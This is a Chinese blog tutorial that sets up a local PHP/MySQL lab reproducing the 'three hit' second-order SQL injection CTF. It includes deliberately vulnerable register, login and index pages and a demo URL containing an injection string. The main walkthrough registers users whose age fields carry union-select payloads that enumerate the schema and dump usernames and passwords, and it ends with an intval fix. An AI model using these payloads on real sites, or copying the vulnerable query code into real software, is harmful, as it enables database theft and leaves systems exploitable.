君衍.
- 一、环境搭建
- 1、conn.php源码:
- 2、register.php源码
- 3、login.php源码
- 4、index.php源码
- 5、demo.php源码
- 二、数据库环境搭建
- 1、注意点一
- 2、注意点二
- 报错原因
- 三、复现过程
- 1、user1
- 2、user2
- 3、user3
- 4、user4
- 5、user5
- 6、user6-name
- 7、user7-table
- 8、user8-column
- 9、user9-data
- 四、预防手段
一、环境搭建
本复现源码来源网络,非本人编写。本threehit二次注入参考强网杯的“three hit”,于本地搭建二次注入环境进行案例的复现以及理解二次注入的原理。
本环境基于5个PHP源码来做后端,使用小皮来做环境支撑,使用Nginx以及Apache都可,连接到数据库完成搭建。
1、conn.php源码:
<?php$con = mysqli_connect('localhost','root','123456','test');if(!$con){die('Cound not connect:'.mysqli_connect_error());}
?>
本文件我们可以看出来是进行数据库连接的源码,首先使用mysqli_connect函数进行连接输入据,后面依次是主机名,这里localhost即为本地,root为数据库用户名,123456为数据库密码,test为连接的数据库名。下面进行判断是否成功连接,如果连接失败,那么输出报错。
2、register.php源码
<!DOCTYPE html>
<html>
<head><title>注册</title><meta charset="utf-8">
</head>
<body>
<h2 align="center">注册</h2>
<form action="" method="POST">用户名: <input type="text" name="name"><br>年龄: <input type="text" name="age"><br>密码: <input type="text" name="pwd"><br><input type="submit" name="submit" value="提交">
</form>
<?phprequire('conn.php');if(isset($_POST['submit'])){$user = addslashes(@$_POST['name']); //addslashes过滤掉单引号等防注入$age = addslashes(@$_POST['age']);$pwd = addslashes(@$_POST['pwd']);$sql = "INSERT INTO user(name,pwd,age) VALUES('".$user."','".$pwd."','".$age."')";if($res = mysqli_query($con,$sql)){echo "注册成功<br>用户名:$user<br>年龄:$age<br><a href='login.php'>去登录</a>";}else{echo "注册失败";}}
?>
</body>
</html>
前面这串HTML我就不解读了,我们看php代码块,首先引入了conn.php文件,然后进行判断,如果表单提交那么首先获取并过滤用户名、年龄以及密码,然后构建插入用户数据的SQL语句,之后再次进行判断,如果执行成功那么输出注册成功,否则注册失败。
3、login.php源码
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head><title>登录</title><meta charset="utf-8">
</head>
<body>
<h2 align="center">登录</h2>
<form action="" method="POST">用户名: <input type="text" name="name"><br>密码: <input type="text" name="pwd"><br><input type="submit" name="submit" value="登录">
</form>
<h2>已注册用户:</h2><hr>
<?phprequire("conn.php");$sql = "SELECT * FROM user";// 列出已注册用户if($res = mysqli_query($con,$sql)){while($row = mysqli_fetch_assoc($res)){echo "用户名:".$row['name']."<br>年龄:".$row['age']."<br>";}}
?>
<hr>
<?phpif(isset($_POST['submit'])){$name = @$_POST['name'];$pwd = @$_POST['pwd'];$sql = "SELECT * FROM user WHERE name='".$name."' and pwd='".$pwd."'";// 登录if($res = mysqli_query($con,$sql)){if(mysqli_num_rows($res)>0){$_SESSION['user'] = $name;header("Refresh:0;url=index.php");}else{echo '登录失败';}}}
?>
</body>
</html>
前面HTML代码就是创建了一个表单,同时设置使用POST方法来提交表单数据。之后PHP部分则为引入conn.php文件来进行连接,然后构造SQL查询语句,执行并将结果取出一行作为关联数组,循环遍历输出已注册用户的用户名以及年龄。接着判断是否点击了提交,如果点击了来进行获取用户输入的用户名以及密码,构造查询语句来进行匹配数据库中的数据,
mysqli_num_rows($res)
函数来获取查询结果行数是否大于0,如果大于0则表示匹配成功。之后将用户名存储在会话变量中,重定向至index.php页面。
4、index.php源码
<?phpsession_start();if(!isset($_SESSION['user'])){header("Refresh:0;url=login.php");}
?>
<!DOCTYPE html>
<html>
<head><title>首页</title><meta charset="utf-8">
</head>
<body>
<?phprequire('conn.php');//显示当前用户信息$sql = "SELECT * FROM user WHERE name='".@$_SESSION['user']."'";if($res = mysqli_query($con,$sql)){while($row = mysqli_fetch_assoc($res)){$current_name = $row['name'];$current_age = $row['age'];echo '当前用户:'.$current_name.'<br>年龄:'.$current_age;}}echo "<br><br>";//显示同龄用户$sql = "SELECT * FROM user WHERE age='".$current_age."' LIMIT 1";// $current_age从数据库取出未经过滤直接拼接SQL语句,从而产生二次注入if($res = mysqli_query($con,$sql)){while($row = mysqli_fetch_assoc($res)){echo '与'.$current_name.'<br>同年龄为'.$current_age.'的有<br>'.$row['name']."<br>";}}echo "<br><br><a href='register.php'>去注册</a>"
?>
</body>
</html>
首先第一段PHP代码启动了会话,来判断是否存在user的会话变量,如果不存在则用户没有进行登录,则通过header函数将页面重定向到login.php,来实现用户身份验证和重定向功能。中间的HTML没什么意义,我们看第二段PHP部分,引入conn.php文件,构造出一个查询语句来用于从数据库中选择当前登录用户的信息,执行并循环遍历出结果存入
$current_name
和$current_age
变量中。这里我们就会发现$current_age
从数据库中获取之后并没有经过过滤,直接拼接到SQL查询语句中。 接着构造出一个查询语句来用于从数据库中选择与当前用户同龄的第一个用户信息。后面便是执行查询并获取结果集。
5、demo.php源码
<?php
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1_".$a."','$time','1,1,1,1,1'),('%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3_".$a."','$time','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
$decodedUrl = urldecode($url);
echo $decodedUrl;
?>
这里定义了一个URL字符串,然后调用
urldecode()
函数,对 URL 进行解码操作,将其中的百分号编码转换为对应的字符。最后一行代码将解码后的URL输出到页面上。
二、数据库环境搭建
这里数据库使用小皮提供的数据库进行测试:
同时我们还需要注意自己去创建数据库以及创建表时需要注意的内容:
创建数据库简单,这里我们使用create语句直接创建即可,这里创建数据库的名称为test:
create database test;
创建完数据库后,我们创建我们所需要的表,注意列名!!!这里我们参考源码注册时构建的数据库语句即表名的列来进行创建:
这里我们会发现列名分别为:name,pwd,age。
所以我们创建SQL语句来创建表:
CREATE TABLE user (name VARCHAR(100),pwd VARCHAR(100),age VARCHAR(200)
);
1、注意点一
这里一定要注意age使用字符型长度为200,一定需要注意,因为这里我们使用联合注入注入表以及列时由于字符长度过于长,所以这里需要注入长度为200,不然会出现我们下面这种情况:
我们可以看到这里报错了,显示数据长度过长我进行了查看:
ERROR 1406 (22001): Data too long for column 'age' at row 1
我查看之后将age字段从varchar(100)
改为了varchar(200)
,使用如下SQL语句:
ALTER TABLE user MODIFY COLUMN age varchar(200);
2、注意点二
在这里我们将age的字段长度上限进行了更改,我们只是可以进行注册了,但是如果之后登录执行出现问题,我们依旧得进行调整。
这里是因为本人在首先测试时发现注册之后登录按理说是执行得,但是那里其实执行了,但是报错了,正常情况下不应该产生报错,于是我进行了调试分析:
ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'
报错内容为以上
报错原因
相同字段的编码为 utf8_general_ci
与 utf8_unicode_ci
,就会报llegal mix of collations for operation“UNION”的错误。
由于information_schame.tables
中的table_name
的编码为 utf8_general_ci
,而union
前的字段编码为utf8_unicode_ci
,导致union前后编码分别为utf8_unicode_ci
与 utf8_general_ci
,所以会报改错。
而database0、version 等函数不会报该错,大概是因为编码不是 utf8_general_ci,所以导致可以查看database0而爆表名是产生报错。
以上便是报错的原因,既然我们知道了报错原因,那么我们进行调整,将编码格式改为utf8_general_ci
即可。使用如下SQL语句:
ALTER TABLE user CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;
到这里我们已经将所有的环境搭建完成。
三、复现过程
测试用例:
name | pwd | age |
---|---|---|
user1 | user1 | 1 |
user2 | user2 | 1’ and 1=2# |
user3 | user3 | 1’ order by 3# |
user4 | user4 | 1’ order by 4# |
user5 | user5 | 1’ union select 1,2,3# |
user6 | user6 | 1’ union select database(),2,3# |
user7 | user7 | 1’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=‘test’# |
user8 | user8 | 1’ union select group_concat(column_name),2,3 from information_schema.columns where table_schema=‘test’ and table_name=‘user’# |
user9 | user9 | 1’ union select group_concat(name,0x3a,pwd),2,3 from user# |
1、user1
首先我们注册一个用户:user1,年龄为1来进行第一步的观察页面的回显:
点击提交进行登录:
登录成功后我们可以看到有一个同年龄为1的有,进行了一个查询,再从源码中我们可以得知这里并没有进行过滤,所以这里将是我们的注入点。
2、user2
下面我们接着去注册,用户为user2,年龄为:
1' and 1=2#
这里首先我们进行闭合,然后使用and连接,1=2按理说它是要报错的,下面我们观察它的登录回显:
到这里我们可以清晰的看到这里是进行了过滤了的,将单引号进行了转义,所以这里我们很难完成注入,我们点击登录:
这里我们可以看到按道理说报错的但是并没有,其实是让过滤掉了,所以我们无法完成报错注入,同时并没有显示同龄年的信息。
3、user3
所以,下面我们去注册user3,来观察同年龄的回显,判断该表有几个字段:
1' order by 3#
这里我们可以看到正常返回了查询之后的内容,所以我们可以得知字段数其实是大于等于3的。
4、user4
下面我们继续注册user4来判断字段数是否大于4:
1' order by 4#
我们可以看到这里依旧没有进行显示,所以这里报错过滤了,我们可以得知字段数其实是3。
5、user5
得知了字段数,下面我们就需要判断回显在第几列了,所以我们注册user5:
1' union select 1,2,3#
到这里我们便可以看到回显字段其实是在1这个字段,所以下面我们可以使用联合查询来进行注入。
6、user6-name
下面我们直接注册user6来获取当前数据库的名称:
1' union select database(),2,3#
我们可以看到这里爆出了数据库的名称即为test。
7、user7-table
下面我们自然是使用联合查询注入的思路来进行,爆出表名,注册user7:
1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='test'#
这里我们可以看到表名只有一个,这里大意了,早知道多创建几个表来更好的观察。即为user表。
8、user8-column
我们接着爆出其user表中的列名,依旧注册用户user8:
1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='test' and table_name='user'#
这就是之前要把age字段扩充为varchar(200)的原因。
这里我们即可将列名注入出来,最后就是爆数据了。
9、user9-data
直接注册user9来爆数据:
1' union select group_concat(name,0x3a,pwd),2,3 from user#
到这里我们即可将所有的数据注入出来。
四、预防手段
这里预防手段有很多,其中最简单的便是在注册时没有对age进行过滤,所以我们只需在注册时做好过滤即可,也就避免了问题的产生。
我们可以利用强转,毕竟是年龄,所以我们可以使用intval转换为整型,也就使其无法完成闭合从而达到预防。
$age = intval(@$_POST['age']);
下面我们可以进行尝试:
直接使用user10,然后使用最终的注入数据的payload尝试:
1' union select group_concat(name,0x3a,pwd),2,3 from user#
我们可以看到此时已经完成了防御。
二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞。